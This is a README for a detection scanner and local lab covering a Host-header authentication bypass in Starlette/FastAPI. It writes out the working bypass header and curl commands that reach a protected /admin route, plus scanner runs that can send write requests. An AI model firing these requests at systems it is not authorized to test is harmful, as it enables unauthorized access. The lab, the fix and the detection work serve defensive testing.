用于CVE-2026-48710的检测扫描器 - Starlette/FastAPI中的Host头部认证绕过
仅用于检测 Starlette / FastAPI 中 BadHost 认证绕过漏洞的扫描器 —— 认证中间件读取 request.url.path 而非 request.scope["path"],使得精心构造的 Host 标头能够走私一个列入白名单的路径,从而绕过认证。
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed
影响范围: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
修复版本: Starlette 0.46.2+
https://host/path)—— 自动提取路径作为探测目标Host 和 X-Forwarded-Host 两种载体,两种载荷策略--preset ai)和 MCP(--preset mcp)端点预设--json、--csvbadhost_vuln_lab/)附带两个 FastAPI 应用用于本地验证:
| 应用 | URL | 认证读取方式 |
|---|---|---|
| 易受攻击 | http://127.0.0.1:8000 | request.url.path — 绕过 |
| 已修复 | http://127.0.0.1:8001 | request.scope["path"] — 安全 |
cd badhost_vuln_lab
docker compose up --build
或无需 Docker:
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — fixed
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+, no pip install needed
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
--openapi-body-mode invalid发送{}用于写方法 —— 在认证绕过后触发 FastAPI422,而不执行端点。baseline=403 test=422结果仍然是 SUSPECT 发现,值得进一步调查。
不要在生产环境中使用--openapi-body-mode minimal—— 它会构造可能执行写端点的有效请求体。
输出中仅显示 CONFIRMED 和 SUSPECT。退出码 2 = CONFIRMED,1 = SUSPECT,0 = 无漏洞。
# Vulnerable
if request.url.path.startswith("/public"):
...
# Fixed
if request.scope["path"].startswith("/public"):
...
升级至 Starlette 0.46.2+ / FastAPI 0.116.0+。
仅限授权测试。仅扫描您拥有或已获得明确许可的系统。
| 判定结果 | 含义 |
|---|
CONFIRMED | 基线 401/403 → 测试 2xx。存在漏洞。 |
SUSPECT | 基线 401/403 → 测试 404/405/422。认证门控似乎被绕过;请手动验证。FastAPI 的 422 特别有意义。 |
REJECTED | 代理在绕过前拒绝了格式错误的 Host(400/421) |
BLOCKED | 构造的请求仍然被拒绝 |
OPEN | 无需认证即可访问 —— 不涉及此 CVE |